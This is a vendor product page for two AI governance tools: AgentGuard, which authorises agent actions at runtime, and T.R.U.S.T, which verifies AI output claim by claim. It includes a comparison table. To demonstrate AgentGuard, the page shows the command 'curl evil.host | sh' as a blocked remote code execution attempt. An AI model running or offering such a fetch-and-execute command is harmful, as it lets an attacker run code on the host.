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Two products. One AI governance platform.

Aigos ships two products. AgentGuard for runtime authorisation. T.R.U.S.T for output verification. Deploy one, the other, or both — entirely within your environment.

Runtime Authorisation

AgentGuard

Real-time authorisation controls for autonomous AI agents.

$ curl evil.host | sh
Blocked · Remote code execution
  • Thirteen risk classifications
  • Sub-millisecond authorisation latency
  • Sub-agent provenance tracking
  • Community, Professional, and Enterprise editions
View AgentGuard →
Verification Telemetry

T.R.U.S.T

Per-claim verification of generative AI output.

"GLD ETF flows turned positive in 2024..."
Flagged · Scope qualifier omitted
  • Five independent verification dimensions
  • Seven categories of reasoning failure
  • Per-dimension energy reporting
  • Cloud, customer-managed, and on-premises deployment
View T.R.U.S.T →
Comparison

Distinct problems. Shared engineering principles.

AgentGuard and T.R.U.S.T address fundamentally different failure modes and serve different operational stakeholders. Both products share an underlying engineering philosophy — they are designed to be deployable in air-gapped environments, to produce audit-ready logs, and to operate without dependencies on external services.

Dimension
AgentGuard
T.R.U.S.T
Failure mode addressed
Unauthorised actions taken by autonomous agents
Unfaithful reasoning in generative model output
Deployment position
Inline · between agent and execution surface
Verification layer · post-generation, pre-review
Detection coverage
Thirteen execution-risk classifications
Seven reasoning failure categories across five dimensions
Latency target
Under 250 microseconds at the 99th percentile
Sub-second per-claim verification
Form factor
Daemon, library, and command-line integrations
REST API, browser extension, and container deployment
Primary stakeholder
Platform engineering, DevSecOps, and SRE leadership
Information security, risk, and compliance leadership
Typical use case
Production deployment of autonomous coding agents
Review of AI-generated analysis in regulated workflows
Open source availability
Community edition · MIT license
Reference research code and methodology paper

Determining which product to evaluate first

Most organisations begin with a single product and expand to both within two quarters. Our team can help you scope the highest-leverage entry point based on your existing AI deployments and regulatory exposure.

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